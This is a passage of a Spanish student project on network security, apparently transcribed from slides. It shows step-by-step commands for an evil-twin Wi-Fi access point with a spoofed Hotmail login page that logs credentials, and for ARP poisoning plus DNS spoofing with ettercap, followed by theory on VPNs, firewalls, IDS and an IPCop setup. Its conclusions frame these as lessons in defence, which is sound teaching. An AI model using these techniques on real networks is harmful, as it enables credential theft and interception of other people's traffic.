  • 60. El servidor DHCP ya está preparado. Normalmente ahora sería el momento de reiniciareste servicio para que se aplicaran los cambios, pero en este caso si lo hacemos ahoranos mostrará error ya que aun no está configurada ninguna interfaz para poder montar lasubred 10.0.0.0.Ese error es normal, en el último paso veremos cómo solucionarlo. 2. Montaje del servidor DNS.Primero de todo instalaremos el paquete del servidor DNS que queramos utilizar. Eneste caso usaremos bind9 el cual instalaremos mediante nuestro gestor de paquetes. 60
  • 61. Primero editaremos una zona en el fichero /etc/bind/named.conf para que nos quede dela siguiente manera:Zone “www.hotmail.com” Nombre de la zona.Type master tipo de zonaFile “/etc/bind/db.hotmail” Donde se encuentra el fichero de configuracion de estazona. 61
  • 62. Ahora crearemos este fichero de configuración. Lo aremos a partir del archivo/etc/bind/db.local que es el archivo predeterminado de las zonas de tipo master. Esto noslo especifican en el archivo named.conf.default-zones:Creamos db.hotmail a partir de db.local:Y ahora editaremos el nuevo fichero con esta configuración para asignar la web deHotmail a nuestra ip. 62
  • 63. Ya tenemos montado nuestro servidor DNS. 3. Montaje del servidor apache.Para servidor web hemos decidido usar apache. Lo instalamos a través del gestor depaquetes.Una vez instalado editaremos el siguiente fichero con esta orden:nano /etc/apache2/sites-enabled/000-default 63
  • 64. En este fichero introduciremos el directorio donde vamos a poner nuestra página web.En este caso el directorio será: /var/www/Hotmail. Con esto el servidor iniciara con losarchivos de esta carpeta.Ahora crearemos este directorio y le añadiremos los archivos de la web.Los ficheros: dentro de la carpeta se encuentran las fotos y los .gif que contienen lapágina web. El archivo login.srf.htm pertenece a la página web. El archivo robetia.phpcontiene el script que se ejecutará al pulsar el botón “Iniciar Sesión” en cual almacenarálos datos introducidos en el archivo robculera.txt. UT.png es una imagen.El robetia.php también podemos configurar que hará en navegador tras a verintroducido la web. Por ejemplo, mostrar web de error… 64
  • 65. Hecho esto y poniendo en nuestro navegador http://nuestra_ip/Nombre_de_un_archivonos debería mostrar ese archivo contenido en la carpeta Hotmail. Ahora configuraremosel servidor de tal forma que salga el archivo introduciendo solo http://Nuestra_ip.Para ello tenemos que editar el archivo /etc/apache2/mods-enabled/dir.conf. Dentroveremos que nos aparece una lista a la cual le tenemos que añadir el nombre del ficheroque contiene la web de inicio. En nuestro caso login.srf.htm. 65
  • 66. Comprobaremos el resultado y si todo va bien ya podemos pasar al siguiente punto. 4. Creación del punto de acceso.Ahora ya está todo configurado. Sólo nos queda crear el punto de acceso para emitir unaseñal wifi. Para ello tenemos que disponer de dos adaptadores de red, uno para recibir laseñal y otro para emitirla. El chipset del adaptador que utilizaremos para emitir la señalha de ser compatible con modo monitor o promiscuo.Para ponerlo en modo monitor utilizaremos airodump-ng, y para crear el punto deacceso airbase-ng. Todo esto lo podemos encontrar en la suite de aircrack-ng.Lo primero que haremos será instalar esta suite. 66
  • 67. Ahora pararemos los servicios de dhcp y dns. (Si alguno da fail no hay que preocuparse,cuando creemos las interfaces mostrará OK)Pondremos una interfaz de red en modo monitor. En este caso pondremos la interfazllamada wlan0. El programa nos crea una interfaz en modo monitor llamada mon0. 67
  • 68. Con airbase-ng crearemos el punto de acceso en esta nueva interfaz.En el comando le especificaremos las siguientes opciones: -P: Esta opción capturará todas las conexiones a redes wifi, ya sea a nuestra redo la de nuestros alrededores. -C: Se especifica en segundos cada cuando se comprobará si hay nuevasconexiones a redes. -c: Se especifica porque canal se emitirá la señal. --essid: Se especifica que nombre tendrá la nueva red wifi. -Al final del comendo pondremos que interfaz queremos utilizar para emitir estaseñal.Creado el punto de acceso se nos vuelve a crear una nueva interfaz llamada at0.A partir de este paso no utilizaremos más esta terminal pero tampoco la cerraremos.Abriremos una nueva para acabar de configurar nuestro punto de acceso.Tenemos que configurar esta nueva interfaz con parámetros que correspondan anuestros servidores DHCP y DNS. Le asignaremos una ip, una máscara de subred y lalevantaremos. 68
  • 69. Ahora asignaremos que el servidor dhcp ha de trabajar con esta interfaz con el siguientecomando:dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0Ahora activaremos nuestros servidores DNS y DHCP.Ahora para emitir internet a la gente que se conecte a nuestro punto de acceso tenemosque configurar el ordenador para que funcione como router. Esta configuración laharemos con el siguiente comando:sysctl net.ipv4.ip_forward=1Este comando lo que hace es poner la variable booleana net.ipv4.ip_forward a 1, esdecir activa. Esta configuración no será permanente. Si la queremos fija, tendremos queeditarla en el archivo /etc/sysctl.conf pero no es el caso con el comando nos bastará.Entraremos en el archivo para ver para que sirve esta opción.Solo nos queda configurar las iptables. Iptables nos permiten agregar diferentes reglasque tendrán que cumplir los paquetes que atraviesen nuestra red. Configuraremos latabla nat de la siguiente manera:Primero nos aseguramos que no existan reglas de iptables cargadas. (si existen seborran)iptables -t nat –FEth1 es la interfaz por la cual recibimos internet en nuestro ordenador. En este caso larecibimos por cable y la emitimos vía wifi pero también podríamos recibirla por wifi.Todos los paquetes que entren por la interfaz eth1 se redirigen.iptables -t nat -A PREROUTING -i eth1 -j REDIRECT 69
  • 70. Todos los paquetes que salgan por los ordenadores conectados a la red wifi seanenviados a internet pasando por nuestro PC. Ip masquerade permite que si hay unordenador conectado a internet, los ordenadores conectados a este también podrántener internet.iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADEUna vez implementado el ataque comprobamos que pasaría desde el PC de la víctima.Exploramos redes disponibles.Nos conectamos. 70
  • 71. Navegamos con total normalidad.Pero al entrar en la web de Hotmail… 71
  • 72. 72
  • 73. Ahora desde nuestro servidor comprobaremos el archivo robculeta.txt… 73
  • 74. 4.2.1 DNS SpoofingDNS SpoofingEste ataque es posible de hacer por culpa de las múltiples vulnerabilidades que tiene elprotocolo DNS. Gracias a este ataque podremos redirigir a la víctima a la web quenosotros queramos. Esto puede ser utilizado para ataques de suplantación de identidad,y simplemente para que la víctima visite la web que nosotros queramos. También es unbuen método para impedir la navegación por internet de la víctima, si este es nuestropropósito.Lo que haremos, será envenenar las tablas arp del router para que el pc víctima nosenvíe la información a nosotros en vez de al router.Todo esto lo haremos con ettercap.Cuando las tablas ARP ya están envenenadas editaremos un archivo llamado etter.dns.Ettercap hará que el PC de la víctima confunda este archivo con el archivo DNS caché(C:WindowsSystem32driversetchosts). 1. Envenenamiendo de las tablas ARPTenemos que cambiar las tablas APR de manera que nuestro PC quede en el lugardel router.Actualmente la tabla APR es la siguiente:Observamos que paquetes llegarán a la víctima tras ejecutar el ataque:Despues de ejecutar el comando con ettercap volvermos a explorar la tabla ARP. 74
  • 75. El ataque lo realizaremos con el pc 192.168.1.35. El envenamiento ARP ha funcionado!La tabla ARP se ha cambiado confundiendo la MAC del router con la nuestra! 2. Modificacion de etter.dnsAhora configuraremos el fichero que usará el PC de la víctima como DNS caché.Este fichero se encuentra en /usr/share/ettercap/etter.dns.Configuraremos el fichero para que confunda la web www.stucom.com conwww.google.esPara ello lo primero de todo será averiguar la ip de www.google.es:Ya tenemos la ip! Ahora editaremos el archivo para que cualquier manera queintentemos de acceder a stucom.com sea redirigido a google.es. 75
  • 76. 3. Ejecución del ataqueTenemos que configurar nuestro sistema para que acepte todos los paquetes que detecte,para ello, abrimos una terminal y escribimos:echo 1 > /proc/sys/net/ipv4/ip_forwardEttercap –T –q –i eth1 –P dns_spoof –M arp // // Ettercap: software que utilizaremos. -T: Modo texto -q: quiet -i: interfaz que queremos utilizar -P: EL plugin que queremos utilizar. -M arp: Ejecutara el ataque “man in the midle” envenenando las tablas ARP // //: Este es el lugar donde se introducen las máquinas víctimas. Con esos caracteres se ejecuta el ataque a toda la red. 76
  • 77. 4. Comprobando el resultadostucom.gif 77
  • 78. 4.3 Seguridad 4.3.1 Conceptos de seguridad 4.3.1.1 Autentificación:Es necesario que cada uno de los gateways que se unan a la VPN asegure estarautorizado. Esta autentificación se realiza mediante certificados digitales. Un certificadoestá compuesto por un numero identifica torio, PIN, y por un elemento electrónico, quehabitualmente es un archivo del ordenador. Si alguien no tiene estos dos elementos, nopodrá acceder por ninguna VPN. 4.3.1.2 Confidencialidad:Ya que los datos viajan por un internet, debemos cifrar el contenido de tal forma queademás de nosotros, solamente el receptor sea capaz de interpretar la información. Estofunciona de la siguiente forma: Una vez dentro de la VPN, cada Gateway envía su clavepública a todos los demás. Utilizando la clave pública, la privada y sistemas deencriptación simétricos, se hace imposible la lectura de los datos sin poseer las clavesutilizadas para su encriptación. 78
  • 79. Estas claves han de actualizarse cada cierto tiempo y es peligroso, ya queactualizándolas muy frecuentemente podemos provocar la sobre carga del servidor, perosi tardamos demasiado, ponemos en peligro la clave, y por lo tanto, la información queesta protege. 4.3.1.3 Integridad:Esto es para asegurarnos que los datos enviados no han sido modificados. Para ellosutilizamos firmas digitales obtenidas a través de algoritmos de hash. La firma digitalfunciona utilizando un algoritmo hash y un algoritmo asimétrico. Los algoritmos hashtoman como entrada un mensaje de bits y dan como resultado esos mismos bits perocifrados. El contenido cifrado recibe el nombre de Message Digest. Proceso de Firma Digital 79
  • 80. 1. El usuario escribe el mensaje y especifica que lo quiere firmar digitalmente. 2. El mensaje es comprimido y es pasado al algoritmo hash para generar un Message Digest. 3. El Message Digest es cifrado con la llave privada del usuario. 4. La firma es anexada al mensaje en texto plano y ambos son enviados por correo electrónico al destinatario.NOTA: La llave privada incluye a la llave pública, por eso puede utilizarse paracifrar datos. La llave pública jamás incluye la llave privada.Verificación de la Firma Digital 1. Separa la firma digital del texto plano. 2. Recalcula el Message Digest del mensaje (sin la firma). 3. Cifra el Message Digest nuevo con la llave publica del remitente 4. Compara el Message Digest recibido con el nuevo. 5. Si son iguales, es que no hubo alteración alguna en el mensaje.Nota Importante: La firma digital no cifra los mensajes, por eso no se garantiza laconfidencialidad de los datos, sólo su autenticidad. 80
  • 81. El sistema de firma digital brinda Identidad y Autenticidad ya que se sabe quienescribió el mensaje (por el uso de la llave privada).Mediante el uso de algoritmos hash, se puede determinar la integridad del mensajecon exactitud.La no repudiación del mensaje: El que lo firmó no puede decir que no lo firmó. Yaque para poder enviar un mensaje firmado digitalmente, es necesario tener acceso ala PC que tiene la llave privada y además conocer su passphrase.La mayoría de las llaves privadas son guardadas en la PC de forma cifrada. De estamanera, es más difícil para una persona robar la llave y utilizarla. Para poderutilizar la llave privada, se utiliza un passphrase para descifrarla de forma temporal.¿Qué es el passphrase? El passphrase es una contraseña. Cuanto más larga, másdifícil de descifrar mediante el uso de técnicas de criptoanálisis. Si uno se olvida elpassphrase, se pierde la llave privada y todos los mensajes que ésta puede descifrar. 4.3.2 Arquitecturas DMZ 81
  • 82. 4.3.2.1 FirewallUn firewall es un sistema de defensa que se basa en la instalación de una "barrera"entre un PC y la Red, por la que circulan todos los datos. Este tráfico entre la Red yel PC es autorizado o denegado por el firewall la "barrera", siguiendo lasinstrucciones que le hayamos configurado. Un sistema básico de seguridad, quedebemos utilizar para nuestra conexión a Internet, es la instalación de un Firewall ocortafuegos.El funcionamiento de éste tipo de programas se basa en el "filtrado de paquetes".Todo dato o información que circule entre nuestro PC y la Red es analizado por elprograma(firewall) con la misión de permitir o denegar su paso en ambas direcciones(Internet-->PC ó PC--->Internet). 82
  • 83. El comprender esto último es muy importante, ya que si autorizamos undeterminado servicio o programa, el firewall no va a decirnos que es correcto oincorrecto, o incluso, que siendo correcto los paquetes que están entrando osaliendo, éstos contienen datos perniciosos para nuestro sistema o la Red, por loque hay que tener buen cuidado en las autorizaciones que otorguemos.Como ejemplo de esto último podemos poner el Correo Electrónico. Si autorizamosen nuestro firewall a que determinado programa de correo acceda a Internet, y alrecibir nuestro correo, en un mensaje recibido viene un adjunto con un virus, porejemplo tipo gusano, el firewall no nos va a defender de ello, ya que le hemosautorizado a que ese programa acceda a la Red. Lo que si va a hacer es que si alejecutar el adjunto, el gusano intenta acceder a la Red por algún puerto que no estépreviamente aceptado por nosotros, no lo va a dejar propagarse. Ahora bien, si haceuso por ejemplo del mismo cliente de correo, si va a propagarse. La misión delfirewall es la de aceptar o denegar el trafico, pero no el contenido del mismo. Enéste caso, la misión de protegernos es (además del sentido común de no ejecutar sinmás un adjunto) de un programa Antivirus.Un firewall funciona, en principio, DENEGANDO cualquier tráfico que seproduzca cerrando todos los puertos de nuestro PC. En el momento que undeterminado servicio o programa intente acceder a Internet o a nuestro PC nos lohará saber. Podremos en ese momento aceptar o denegar dicho tráfico, pudiendoasimismo hacer (para no tener que repetir la operación cada vez) "permanente" larespuesta hasta que no cambiemos nuestra política de aceptación.4.3.2.2 ProxyUn proxy es un equipo especial, ya puede ser con un sistema operativo o programaespecifico. Este, siempre está colocado al principio de una red para controlar eltráfico entrante, es decir, es un punto intermedio entre un equipo conectado ainternet y el servidor al cual se está accediendo. Al navegar por un proxy, se realizauna solicitud entre el proxy y el servidor el cual queremos acceder. Es el proxy elque envía esta solicitud al servidor y nos la devuelve con el resultado, es decir quees este el que nos consulta la solicitud por nosotros.Ventajas:• Control: sólo el intermediario hace el trabajo real, por tanto se pueden limitar yrestringir los derechos de los usuarios, y dar permisos sólo al proxy. 83
  • 84. • Ahorro. Por tanto, sólo uno de los usuarios (el proxy) ha de estar equipado parahacer el trabajo real.• Velocidad. Si varios clientes van a pedir el mismo recurso, el proxy puede hacercaché: guardar la respuesta de una petición para darla directamente cuando otrousuario la pida. Así no tiene que volver a contactar con el destino, y acaba másrápido.• Filtrado. El proxy puede negarse a responder algunas peticiones si detecta queestán prohibidas.• Modificación. Como intermediario que es, un proxy puede falsificarinformación, o modificarla siguiendo un algoritmo.• Anonimato. Si todos los usuarios se identifican como uno sólo, es difícil que elrecurso accedido pueda diferenciarlos. Pero esto puede ser malo, por ejemplocuando hay que hacer necesariamente la identificación.Desventajas:En general (no sólo en informática), el uso de un intermediario puede provocar:• Abuso. Al estar dispuesto a recibir peticiones de muchos usuarios yresponderlas, es posible que haga algún trabajo que no toque. Por tanto, ha decontrolar quién tiene acceso y quién no a sus servicios, cosa que normalmente esmuy difícil.• Carga. Un proxy ha de hacer el trabajo de muchos usuarios.• Intromisión. Es un paso más entre origen y destino, y algunos usuarios puedenno querer pasar por el proxy. Y menos si hace de caché y guarda copias de losdatos.• Incoherencia. Si hace de caché, es posible que se equivoque y dé una respuestaantigua cuando hay una más reciente en el recurso de destino. En realidad esteproblema no existe con los servidores proxy actuales, ya que se conectan con elservidor remoto para comprobar que la versión que tiene en cache sigue siendo lamisma que la existente en el servidor remoto.• Irregularidad. El hecho de que el proxy represente a más de un usuario daproblemas en muchos escenarios, en concreto los que presuponen unacomunicación directa entre 1 emisor y 1 receptor (como TCP/IP) 84
  • 85. 4.3.2.3 IDSUn IDS como sus siglas indica, es un sistema de detección de intrusos, puede ser unequipo IDS o un equipo con un programa IDS. Este sistema de seguridad, lo quehace es detectar los accesos no autorizados dentro de una red, ya pueden seramenazas, ataques, etc… normalmente producidos por hackers.El IDS detecta estas amenazas mediante sensores virtuales, ya pueden ser sniffers ocapturadores de paquetes que entran en la red como por ejemplo wireshark okismet. El IDS, detecta anomalías que entran que pueden ser presencia de ataques ofalsas alarmas.Existen tres tipos de sistemas de detección de intrusos:• HIDS (HostIDS): El HIDS es el que se ocupa de detectar las anomalías de la red como por ejemplo modificaciones en la red para . El HIDS intenta detectar tales modificaciones en el equipo afectado, y hacer un reporte de sus conclusiones.• NIDS (NetworkIDS): un IDS basado en red, detectando ataques a todo el segmento de la red. Su interfaz debe funcionar en modo promiscuo capturando así todo el tráfico de la red.• DIDS (DistributedIDS): sistema basado en la arquitectura cliente-servidor compuesto por una serie de NIDS (IDS de redes) que actúan como sensores centralizando la información de posibles ataques en una unidad central que puede almacenar o recuperar los datos de una base de datos centralizada. La ventaja es que 85
  • 86. en cada NIDS se puede fijar unas reglas de control especializándose para cada segmento de red. Es la estructura habitual en redes privadas virtuales (VPN).Los principales métodos utilizados por N-IDS para informar y bloquear intrusiones son: • Reconfiguración de dispositivos externos (firewalls o ACL en routers): Comando enviado por el N-IDS a un dispositivo externo (como un filtro de paquetes o un firewall) para que se reconfigure inmediatamente y así poder bloquear una intrusión. Esta reconfiguración es posible a través del envío de datos que expliquen la alerta (en el encabezado del paquete). • Envío de una trampa SNMP a un hipervisor externo: Envío de una alerta (y detalles de los datos involucrados) en forma de un datagrama SNMP a una consola externa como HP Open View Tivoli, Cabletron, Spectrum, etc. • Envío de un correo electrónico a uno o más usuarios: Envío de un correo electrónico a uno o más buzones de correo para informar sobre una intrusión seria. • Registro del ataque: Se guardan los detalles de la alerta en una base de datos central, incluyendo información como el registro de fecha, la dirección IP del intruso, la dirección IP del destino, el protocolo utilizado y la carga útil. • Almacenamiento de paquetes sospechosos: Se guardan todos los paquetes originales capturados y/o los paquetes que dispararon la alerta. • Apertura de una aplicación: Se lanza un programa externo que realice una acción específica (envío de un mensaje de texto SMS o la emisión de una alarma sonora). • Envío de un "ResetKill": Se construye un paquete de alerta TCP para forzar la finalización de una conexión (sólo válido para técnicas de intrusión que utilizan el protocolo de transporte TCP). • Notificación visual de una alerta: Se muestra una alerta en una o más de las consolas de administración. 4.3.2.4 IPS Un Sistema de Prevención de Intrusos (IPS) es un dispositivo que ejerce el control de acceso en una red informática para proteger a los sistemas computacionales de ataques y abusos. La tecnología de Prevención de Intrusos es considerada por algunos como una extensión de los Sistemas de Detección de Intrusos (IDS), pero 86
  • 87. en realidad es otro tipo de control de acceso, más cercano a las tecnologíascortafuegos.Los IPS fueron inventados de forma independiente por Jed Haile y Vern Paxon pararesolver ambigüedades en el monitoreo pasivo de redes de computadoras, al situarsistemas de detecciones en la vía del tráfico. Los IPS presentan una mejoraimportante sobre las tecnologías de cortafuegos tradicionales, al tomar decisionesde control de acceso basados en los contenidos del tráfico, en lugar de direccionesIP o puertos.Tiempo después, algunos IPS fueron comercializados por la empresa One Secure,la cual fue finalmente adquirida por NetScreen Technologies, que a su vez fueadquiridapor Juniper Networks en 2004. Dado que los IPS fueron extensiones literales de lossistemas IDS, continúan en relación.También es importante destacar que los IPS pueden actuar al nivel de equipo, paracombatir actividades potencialmente maliciosas. 87
  • 88. 4.3.3 VPNLa mayoría de empresas actuales están compuestas con más de una oficina. Lo ideal esque todos los ordenadores de todas las oficinas estén en una misma red para podercompartir accesos, grandes flujos de datos…pero eso no es posible ya que no se puedentener en una misma LAN ordenadores que están a una distancia de 10 kilómetros, porejemploPara solventar este problema, podemos utilizar VPN, que sirve para conectar diferentesredes locales entre ellas. El elemento clave de las VPN son los gateways que seencargan de proteger el contenido que viaja por ellas. Antes de salir a la red pública, lospaquetes pasan por el primer Gateway, el de la red local, que se encarga de encriptar lainformación. Una vez los datos llegan a su destino, antes de entrar en la red deben pasarpor el segundo gateway, que es quien desencripta los datos. 88
  • 89. Tunel de nivel 3: El protocolo pasajero es de nivel 3 (de red).o Pasajero: Protocolo de red (IP, IPX, Apple-Talk…).o Portador: Protocolo de red (IP generalmente).o Encapsulación: GRE, IPSec.• El router origen del túnel añadirá a cada paquete pasajero (payload) lascabeceras del portador y/o de encapsulación. El pasajero seráfragmentado antes de ser encapsulado si es necesario. 89
  • 90. • El campo TTL de la cabecera IP del paquete pasajero no esmodificado una vez encapsulado. Hay sólo 1 salto para el pasajero.Túneles de nivel 2 (de enlace)• Tunel de nivel 2: El protocolo pasajero es de nivel 2 (de enlace).o Pasajero: Protocolo de enlace punto a punto (PPP, HDLC…).o Portador: Protocolo de red (IP…) o enlace (Frame Relay…).o Encapsulación: GRE, L2TP, IPSec.• Permiten la conexión de usuarios remotos a una red privada: VPN(Virtual Private Network) o VPDN (Virtual Private Dial-up Network).• Dos modelos de VPN según su administrador: usuario o ISP.Esta conexión se realiza a través de un medio inseguro, internet, y es por eso quedebemos tener bien protegidos nuestros paquetes.Para hacerlo, es necesario asegurar la autentificación, la integridad y la confidencialidadde nuestros datos utilizando una serie de mecanismos que explicaremos en el apartadode Seguridad. 5. ResultadosHemos hecho una búsqueda de información en diferentes páginas web de antivirusfamoso como Norton, Panda, Nod s en la cual tienen listas de los ataques,vulnerabilidades, spam, etc… producidos. Las empresas encargadas los guardan en unagran base de datos para así saber cada da ataque que se ha producido e incluirlo enseguridad por ejemplo en un antivirus.Concretando en la página web de Symantec: 90
  • 91. - http://www.symantec.com/business/security_response/index.jspAquí, tenemos unas gráficas de diferentes tipos de Ataques que se producen al día a día,como podremos ver, se producen muchísimos.En esta grafica, se muestra el porcentaje de Spam es decir de publicidad engañosa ofraudulenta que se produce durante todo un año, son unas cifras elevadísimas en que sealmacenan cada una de ellas con cada ip. Para así poder bloquear gran parte de tráficoinnecesario y no causar tanto tráfico en las redes.Un ejemplo que vemos marcado, es un porcentaje de todo el tráfico de correos que seestablece, un Sábado se llega a alcanzar un 95,33% de correos Spam.En esta otra gráfica vemos un almacenamiento de los ataques producidos en 90 días ydividido por Regiones, se puede observar con diferencia que uno de los continentes quesufre más ataques es América del Norte superando los 40.000.000, y siguiéndole Europacon menos de la mitad. 91
  • 92. Esto significa que en el mundo se producen millones de ataques en la red, y por eso hayque tener unos mínimos de seguridad para poder protegerse.Ya que de hoy en día como en el trabajo demostramos se pueden establecer infinidad deataques. Y por eso empresas de antivirus como Symantec, hacen estudios y coleccionangrandes cantidades de información como Virus, Troyanos, Gusanos, incluso bromas acontinuación podemos ver una lista sobre alguno de los millones que se producen en undía:Esta última gráfica, vemos un “estudio” de todas las últimas amenazas globales, riesgosy vulnerabilidades que se producen, ya sean por errores de programación, errores desistema, etc.… 92
  • 93. Por ejemplo aquí vemos una vulnerabilidad que han publicado y si la clicamos vemosque error tiene. Este, vemos que Microsoft Visio es propenso a una vulnerabilidadremota de ejecución de código, el problema se produce cuando la aplicación procesa unarchivo malicioso. Y seguidamente, salen recomendaciones para poder evitar estosconflictos, como ejecutar el programa con un usuario sin privilegios o derechosmínimos. 93
  • 94. 6. Conclusiones y líneas futurasEn este trabajo hemos aprendido varios conceptos de seguridad informática y lo másimportante de todo es que ya sabríamos como montar una pequeña red. Tendríamos quemejorar varios varias configuraciones pero hemos conseguido tener una importante baseen este tema.Al realizar el ataque del Unicode, nuestra intención no era demostrar que podemosacceder a un servidor con Windows 2000 y el IIS v5.0 instalado. Lo que queríamosdemostrar es que los bugs existen y no solo en el IIS, por lo tanto utilizando estasvulnerabilidades podríamos acceder a muchos sistemas. Por lo tanto tenemos queactualizar siempre nuestras aplicaciones y a poder ser el sistema operativo en el quecorren.En la creación de nuestro Windows Messenger nos hemos dado cuenta que con lautilización de herramientas conocidas y conocimientos de programación podemos crearataques, que no acaban de ser virus pero podríamos decir que producen el mismo efecto.Si al ejecutar algún archivo no hace nada, deberíamos sospechar, e intentar abrir elejecutable con algún programa de compresión.Descifrando una clave web nos damos cuenta que la informática avanza muyrápidamente. Las claves webs fueron creadas a base de algoritmos y se preveía que ibana ser vulnerables hasta dentro de unos 10 años. Con los avances informáticos y lamejora de chipsets en los dispositivos wireless se consiguió explotar estas claves y sevieron obligados a crear un nuevo protocolo con nuevos algoritmos. Todas nuestrasclaves wifi deberían estar en WPA2.El ataque de phising nos enseña a no fiarnos de los correos “tontos” que recibimoscontinuamente de cadenas de correos. Este ataque consiste en “pescar” enviar un correoa gente para ver si “pican” e introducen su user y pass en una página falsa.Con la creación del punto de acceso, queremos demostrar que no nos tenemos que fiaren este tipo de conexiones. Si nos conectamos en una red ajena, deberíamos evitarintroducir datos privados mientras navegamos. Suplantación de identidad: Este ataquees muy parecido al anterior. Se usa la misma página web falsificada pero en este caso novamos a “pescar” a base de cadenas de correos, lo que hacemos es hacer pensar a lavíctima que esta introduciéndose, ella misma en una web de Hotmail falsa.Y en este último ataque, DNS spoofing, demostramos las vulnerabilidades que tiene elprotocolo DNS. Cualquiera que se introdujese en nuestra red podría atacarnos de estaforma, también para hacer suplantación de identidad, obligarnos a que visitemos supágina web, dejarnos sin conexión…y protegernos de esto no es nada fácil. Por lo tantotenemosque procurar que nadie se introduzca en nuestra red y configurar la caché de nuestroDNS para que sea menos vulnerable. 94
  • 95. Linias futuras.Nos gustaría que este trabajo hubiera podido ser más extenso, pero por la falta demateriales, tales como ordenadores, puntos de acceso…no hemos podido hacer nadamás.Si en un futuro pudiésemos continuar el trabajo y ampliar un poco más nuestra pequeñared, nos gustaría añadir una serie de pasos más: - Enlazar una base de datos de Active Directory con nuestro proxy para que queden todos los logs registrados con el nombre de usuario. - Poner más equipos de seguridad como añadir un syslog, que todos los logs se guarden en el con las horas de cada programa sincronizadas entre ellas. - También tendríamos que mejorar la monitorización de nuestros componentes de red utilizando programas como ‘PRTJ’ que nos mostraran gráficos y información de el uso de los componentes de nuestra red. CPU, memoria RAM… - Mostrar más vulnerabilidades de servidores y protocolos. 95
  • 96. 7. Anexo 7.1 Configuración del firewallDespues de descargar y grabar la imagen en un CD, la introduciremos en el Pc heconfiguraremos la BIOS para que arranque desde este, si no está ya configurada.Esta sera la primera pantalla de bienvenida que veremos.En esta pantalla pulsaremos intro para seguir con la instalación. La siguiente pantallanos dará a elegir un idioma para continuar. 96
  • 97. Ahora nos mostrara otro mensaje que nos indica el comienzo de la instalación.Nos muestra las opciones de origen de instalación. Nosotros instalaremos desde CD. 97
  • 98. Aquí confirma que se instalara en el disco duro y se hará un particionadoCarga de los ficheros del IPcop 98
  • 99. Aquí nos pregunta si tenemos una copia de seguridad del sistema para crearla:Aquí escogemos la tarjeta de red que queremos utilizar en cada interfaz:_ 99
  • 100. Aquí detecta la tarjeta de red que hay configurada ( Realtek…)Aquí le introducimos la IP y la máscara de red que queramos que tenga la interfaz: 100
  • 101. Aquí ya tenemos la instalación de IPCop ya instalado, y nos muestra como accederdesde el navegador: http://ipcop:81 o https://ipcop:445Seguidamente asignamos en que idioma queremos que esté el teclado. 101
  • 102. Y la zona horaria en la que nos encontramos.Aquí se asigna el nombre del ordenador. 102
  • 103. Y seguidamente el nombre del dominio en la cual pertenece elAquí nos muestra que el RDSI tiene que estar inhabilitado 103
  • 104. Ahora pasamos a crear la configuración de la red. Para asignar las diferentes interfaces:Ahora escogemos una interface para configurar la red de IPcop: 104
  • 105. Primero empezamos a configurar la interface de color verde, ya que cada interfaz tieneun color asignado.Y aquí ya tenemos asignado un color a cada tarjeta de red. 105
  • 106. Una vez asignadas las tarjetas de red con cada color, asignamos una ip y una máscara. 106
  • 107. Seguidamente pasamos a configurar la naranjaY escogemos que la IP sea estática en la interfaz conectada a internet: 107
  • 108. Finalmente establecemos el DNS y el Gateway que van a tener esta interficie (roja)Y la configuración del DHCP cómo el rango de ip’s 108
  • 109. Seguidamente viene la seguridad con contraseñas para el usuario root:La contraseña de administrador: 109
  • 110. Y la contraseña de la copia de seguridad: 110
  • 111. Y ya hemos terminado la configuración:Finalmente aquí ya tenemos la interfaz del IPcop. Y introduciendo el usuario y lacontraseña, ya entramos en la consola, si queremos modificar la configuración anteriorintroduciremos el comando setup. 111
  • 112. 112
  • 113. 7.2 Manual IPcopUna vez tenemos el ipcop instalado, podemos entrar a la interfaz visual desde elnavegador introduciendo https:// 192.168.2.1:445 y obtenemos el certificado deseguridad:Y entramos con el usuario establecido en la configuración: de admin 113
  • 114. Vemos al entrar que hay una actualización pendienteAquí nos dice que todas las actualizaciones ya están instaladas. 114
  • 115. Ahora lo configuramos para poder acceder desde sshUna vez configurada la sesión de ssh, abrimos el puerto 222 para poder acceder.Y seguidamente abrimos los puertos para poder entrar remotamente el 222 para poderentrar con el putty y el 445 para poder acceder con el teamviwer 115
  • 116. Estas son las opciones del proxy y vemos que es muy sencillo,Para eso, con un ftp introduciremos unos plugins, copiando los directorios dentro delIPcop. Son complementos para poder mejorar las opciones de del FirewallInsertamos los plugins mediante un gestor de ftp para Linux 116
  • 117. Seguidamente, establecemos una conexión con el putty para poder acceder a losarchivos del Ipcop 117
  • 118. Aquí descomprimimos los archivos insertados para poder proseguir a la instalación.Instalamos los plugins… 118
  • 119. Y finalmente vemos que los plugins ya están instalados y que tenemos muchas masopciones en el IpCopY proseguimos a instalar los siguientes paquetes y repetir las operaciones anteriores: 119
  • 120. Descomprimir los archivos: 120
  • 121. Instalarlos: 121
  • 122. Y finalmente poner en marcha el servicio del plugin e instalamos otro plugin (block outtraffic)Y aquí editamos la configuración del plugin (blockout traffic) 122
  • 123. Seguidamente entramos al router para poder hacer los siguientes ajustes:Y abrimos los puertos 222 y 445 del router para ahora poder acceder desde fuera de lared. Así poder hacer la configuración remotamente. 123
  • 124. Y ahora establecemos una configuración en el router para poder acceder remotamentedentro del router y así poder editar configuraciones remotamente, hemos puesto la0.0.0.0 para que pueda entrar cualquier ip. 124
  • 125. E introducimos una contraseña para que no pueda entrar algún desconocido.Y repetimos el proceso para tener mas plugins así asegurarnos la seguridad del proxy 125
  • 126. 126
  • 127. Y proseguimos a la configuración de del plugin insertado (addons Server 2.3) 127
  • 128. Aquí vemos el resultado de la aplicación Addons, sirve para poder instalar lasaplicaciones subiendo directamente el archivo, aquí vemos una prueba que se sube unaaplicaciónY aquí vemos como el Addoms ha funcionado correctamente con el plugin que hemossubido. 128
  • 129. Y finalmente para guardar toda la configuración del IPcop hacemos una copiadeseguridad para así tener guardado el sistema 129
